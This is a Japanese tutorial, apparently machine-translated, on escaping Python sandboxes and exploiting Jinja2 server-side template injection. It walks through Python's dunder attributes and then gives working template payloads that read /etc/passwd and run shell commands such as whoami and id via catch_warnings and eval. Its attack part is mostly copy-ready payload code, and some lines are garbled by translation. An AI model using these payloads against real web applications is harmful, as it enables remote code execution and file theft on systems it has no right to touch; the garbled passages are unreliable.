サンドボックスエスケープのプロセスは、コード実行環境でのさまざまなフィルタリングと制限から抜け出し、最終的にシェルのアクセス許可を取得するプロセスです。つまり、さまざまなブラックリストをバイパスし、最終的にシステムコマンドの実行権限を取得します。
__ class__タイプが属するオブジェクトを返します
__ mro__オブジェクトに継承された基本クラスを含むタプルを返します。メソッドは、解析中にタプルの順序で解析されます。
__ base__このオブジェクトによって継承された基本クラスを返します// __base__と__mro__基本クラスを見つけるために使用されます
__ subclasses__新しいクラスはそれぞれサブクラスへの参照を保持します。このメソッドは、クラスでまだ使用可能な参照のリストを返します。
__ init__クラス初期化メソッド
__ globals__関数グローバル変数を含む辞書への参照
__ builtin__組み込み関数、intなどの一部の関数はpythonで直接実行できます(),list()待ってください、これらの機能は__builtins__で見つけることができます。表示する方法はdirです(__builtins__)
pythonコンパイラを開いた後、変数や関数が作成されていなくても、pythonで呼び出すことができる関数、いわゆる組み込み関数があります。
上記のpythonの魔法のメソッドを使用して、 基本クラス
に任意の変数を使用し、基本クラスに実装されているすべてのクラスを取得して、対応するメンバー変数を呼び出すことができます。サンドボックスエスケープを実現するために。
ご存知のとおり、pythonはオブジェクト指向のプログラミング言語であり、すべてがオブジェクトです。すべてObjectオブジェクトを継承します。
__ base__
と __mro__
の両方が基本クラスの検索に使用されます。上の図から、基本クラスがすべてObjectであることがわかります。
文字列のクラスオブジェクトを取得します
''.__ class__
基本クラスのアドレスを取得する
''.__ class__.__mro__
実装クラスとメンバーを表示する
''.__ class__.__mro__[1].__subclasses__()
制御構造{%%}
可変値{{}}
コメント{# #}
文字列オブジェクトやリストオブジェクトのように ( ''、[])
を直接参照することはできないため、上記の属性とメソッドのみを使用できます。
for c in{}.__class__.__base__.__subclasses__():if(c.__name__=='file'):print(c)
print c('test.txt').readlines()
コードを分析すると、基本クラスが Object
であることがわかり、Objectのすべてのサブクラスを取得します。サブクラスでファイルクラスを探します。見つかった場合は、ファイル構築メソッドを使用してオブジェクトを作成し、readlines()を使用してファイルの内容を読み取ります。
jinja2の構文は次のとおりです。
{ %for c in[].__class__.__base__.__subclasses__()%}{%if c.__name__=='file'%}{{"find!"}}{{c("/etc/passwd").readlines()}}{% endif %}{% endfor %}
ドッカーコンテナに見つかりません
しかし、それはローカルで大丈夫です
次に、Baiduに少し行きましたが、ファイルが見つからないのはなぜですか?python3にファイルクラスがないことがわかりました。上記の方法はpython2にのみ適用されます。
ファイルはpython3で使用できないため、evalを探してください。持っている場合は、心配する必要があります。
一般的なクラスについては、python2とpython3で __builtins__
を探します。次に、ユニバーサル任意実行コードを作成します。
for c in().__class__.__bases__[0].__subclasses__():if c.__name__=='共有クラス':
c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
jinja2構文
{ %for c in[].__class__.__base__.__subclasses__()%}{%if c.__name__=='共有クラス'%}{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}{% endif %}{% endfor %}
原理は上記と同様です。最初にすべてのサブクラスを取得して catch_warnings
があるかどうかを確認し、変数bはglobals __。values()
の下でトラバースされます。
変数bのタイプが {} .__ class__
であるかどうかを判別し、evalがb.keysにある場合は、evalで作成されたコードを実行します。
{ %for c in[].__class__.__base__.__subclasses__()%}{%if c.__name__ =='catch_warnings'%}{%for b in c.__init__.__globals__.values()%}{%if b.__class__ =={}.__class__ %}{%if'eval'in b.keys()%}{{ b['eval']('__import__("os").popen("id").read()')}}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
別のペイロード構築方法
{ %for c in[].__class__.__base__.__subclasses__()%}{%if c.__name__=='catch_warnings'%}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}{% endif %}{% endfor %}
Recommended Posts